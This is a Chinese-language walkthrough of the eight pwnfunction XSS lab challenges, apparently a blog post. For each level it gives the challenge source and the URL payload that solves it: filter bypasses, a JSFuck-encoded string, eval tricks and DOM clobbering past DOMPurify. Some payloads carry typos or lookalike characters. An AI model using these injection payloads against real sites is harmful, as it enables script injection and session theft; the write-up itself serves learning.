XSS-复现dom破坏案例和靶场

跨网站指令码：

Cross-site scripting，因为CSS在网页设计领域已经被广泛指层叠样式表（Cascading Style Sheets），所以将Cross改以发音相近的X做为缩写，故简称为XSS，是一种最普遍的网站应用程式的安全漏洞攻击，允许恶意使用者将程式码注入到网页上，其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。

XSS攻击：

通常发生在用户输入数据并被展示在网页上时，常见于贴吧，留言板，评论，反馈等系统。如果应用程序没有对用户提交的内容进行充分的过滤和验证，恶意脚本可能会被注入并执行。攻击者可能会利用XSS漏洞执行各种操作，如窃取用户cookie、获取个人信息、挂马（在用户计算机上植入恶意软件）、键盘记录等。

xss原理：

用户输入的数据被当作前端代码执行(通常是当作JS代码执行)

攻击原理：用户和浏览器建立连接状态，攻击者在这个网站发现xss漏洞，然后插入恶意代码(js)发给了发户，用户点击查看触发了攻击者的js攻击代码，就会窃取用户cookie，完成攻击。

DOM：

Dom是一个与平台，编程语言无关的端口，它允许程序或者脚本动态的访问和更新 文档的内容，结果和样式，处理后的结果能够成为显示的一部分 ，不依赖 于提交数据到服务器端，从而客户端获得Dom中的数据在本地执行 ，如果Dom中的数据没有经过严格的确定 ，就会产生Dom型XSS漏洞。

简单点描述：（Dom型Xss是一种基于文档对象模型的一种漏洞）

使用靶场环境：https://xss.pwnfunction.com/

闯关：

第一关：Ma Spaghet!

源码：

javascript 复制代码

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

要求：

Difficulty is Easy.

Pop an alert(1337) on sandbox.pwnfunction.com.

No user interaction.

Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.

Tested on Chrome.

分析：

在script标签里边，使用get传参的方式给somebody传一个值，如果没有传值，默认传Somebody+Toucha Ma Spaghet!,然后赋值给spaghet,放在h2标签中，这里的spaghet后边加了一个innerHTMl的属性。

javascript 复制代码

?somebody=<script>alrt(1337)</script>

这里我们看似插入进去，但是不会执行，所以更换一个标签。

javascript 复制代码

?somebody=<img src=1 onerror="alert(1337)">

这样我们就成功绕过，原理一样但是标签不一样。

第二关： Jefff

源码：

javascript 复制代码

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

要求：

Difficulty is Easy.

Pop an alert(1337) on sandbox.pwnfunction.com.

No user interaction.

Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.

Tested on Chrome.

分析：

首先使用get传参的方式，给jeff一个值，将值传给let jeff,变量ma然后执行Ma name +jeff传入的值,setTimeout是延时执行ma,这里的ma带了一个ineerText的属性。

他不会去渲染我们的css样式，意思就是我们在加什么标签之类的东西都不会起效果。所以我们这里只能换一种思路，他不能加标签，那我们看能不能直接闭合ma，之后执行我们的代码

javascript 复制代码

//方法1
?jeff=";alert(1337);"
//方法2
?jeff="-alert(1337)-"

//在html中-号是分隔符，跟第一种区别不大但是是一种新的做法

第三关： Ugandan Knuckles

源码：

javascript 复制代码

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

要求：

Difficulty is Easy.

Pop an alert(1337) on sandbox.pwnfunction.com.

No user interaction.

Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.

Tested on Chrome.

分析：

还是使用get方式传参；首先是传给wey一个值，然后赋值给变量let wey,然后这里过滤了<>尖括号，最后将我们的变量wey内容传给Uganda，显示在输入框中，Uganda也带一个inner HTML的属性，所以我们不能使用script标签,那就看看其他的思路;

这里使用onfocus 和autofocus 使用焦点的原理，可以使用onfocus获取焦点,再利用autofocus自动获取焦点，所以我们就触发执行代码

javascript 复制代码

?wey=" onfocus="alert(1337)" autofocus="tree
//最后的tree可以不写

第四关：Ricardo Milos

源码：

javascript 复制代码

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

要求：

Difficulty is Easy.

Pop an alert(1337) on sandbox.pwnfunction.com.

No user interaction.

Cannot use https://sandbox.pwnfunction.com/?html=&js=&css=.

Tested on Chrome.

分析：

使用get方式传参；传一个值给Ricardo，这里的submit是提交，意思是将我们传入的值过两秒传给Ricardo。action是他接受的一个伪协议,这里就使用一下JavaScript

javascript 复制代码

?ricardo=JavaScript:alert(1337)

第五关：Ah That's Hawt

源码：

javascript 复制代码

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

分析：

这里主要是过滤，将（）\ 和反引号过滤，会将这些符号转化为空；还有inner HTML，所以script也不能用了，试一下用img的报错实现，因为我们的括号被过滤，那么我们可以试下使用实体编码进行绕过

javascript 复制代码

?markassbrownlee=<img%20src=1%20οnerrοr=alert(1337)>

可以看到括号丢失，因为url在传参时，会将我们的特殊符号进行解码，但我们传递的是html的实体编码，所以问题出现在了这里，那么我们再将实体编码再进行次url编码

javascript 复制代码

?markassbrownlee=<img%20src=1%20onerror=alert%26%2340%3B1337%26%2341%3B>

第六关：Ligma

源码：

javascript 复制代码

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

分析：

这里我们有个技巧，当看到过滤了大小写和数字时，我们使用一个工具就可以直接进行

利用框架绕过：JSFuck - Write any JavaScript with 6 Characters: []()!+

他就会用一些符号来表示我们的字符和数字等，这里我们将上边转好的复制输入进去，因为+在url传参时，会解码为空格，所以我们要对这些符号再次编码

javascript 复制代码

?balls=%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%2B%5B!%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%2B(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D))%5B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B((%2B%5B%5D)%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)

第七关：Mafia

源码：

javascript 复制代码

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析：

这里还是get方式传参，但是限制我们传入的参数长度最大为50个字节，而且过滤了一大堆东西，最后执行mafia，代码漏洞，他过滤了符号和alert函数，但是没有过滤confirm 函数

javascript 复制代码

?mafia=confirm(1337)

在官方给出的三个答案中：

第一个：Function构造了一个ALERT（1337）函数，source 然后调用函数的源码，就拿到了ALERT(1337),在调用js中的转成小写，最后在加上一个括号就表示执行函数。这样就绕过了上边的限制条件，并且成功执行

javascript 复制代码

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

第二个：

javascript 复制代码

?mafia=eval(8680439..toString(30))(1337)

toString()是返回一个函数的字符串，内容是函数的源码，这里返回了一个alert，那我们大胆猜前边的8680439就是的，但是是咋来的呢？其实就是我们的alert使用parseint函数转换成了30进制的一个整数，这里的三十是代表三十进制，因为要想直接显示alert，16进制是从0-9，A-F，所以到T这里就是三十进制了。所以最后执行代码就成功了。

第三个：我们可以看到，location.hash，取到的是url里#后的值，slice函数是分片，可以将#后面的提取到，那么#后面写上alert(1337),前面加上eval(location.hash.slice(1))就可以了

javascript 复制代码

?mafia=eval(location.hash.slice(1))#alert(1337)

第八关：Ok, Boomer

源码：

javascript 复制代码

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

分析：

这道题通过get参数将内容写入h2标签内，而且有过滤框架DOMPurify

DOMPurify防御用户输入框架，会把你的危险属性过滤完了

这个过滤框架由安全团队cure53开发，但是注意setTimeout函数内的ok参数

这里的JS代码是没有任何关于ok参数的定义的，所以我们可以使用DOM破坏

突破口：setTimeout(ok, 2000)；这里使用一个dom clobbering称之为dom破坏技术

对于安全来说DOM clobbering主要是用来进行DOM型的XSS攻击，其可以篡改JS函数原本的属性恶意插入一些XSS代码到页面的JS中去，它的特征就是利用了元素配置id或name属性后可以使用包括document、window、自己名称的形式进行访问。其可以对document的属性进行恶意的替换。从而影响dom树的结构造成破坏.这一特性让它有了DOM COLBBERING这个名号。

javascript 复制代码

?boomer=<a id=ok href=tel:alert(1337)>

XSS-复现dom破坏案例和靶场

xss注入原理：

xss是什么？

xss原理：

DOM：

闯关：

第一关：Ma Spaghet!

源码：

要求：

分析：

第二关： Jefff

源码：

要求：

分析：

第三关： Ugandan Knuckles

源码：

要求：

分析：

第四关：Ricardo Milos

源码：

要求：

分析 ：

第五关：Ah That's Hawt

源码：

分析：

第六关：Ligma

源码：

分析：

第七关：Mafia

源码：

分析：

第八关：Ok, Boomer

源码：

分析：

分析：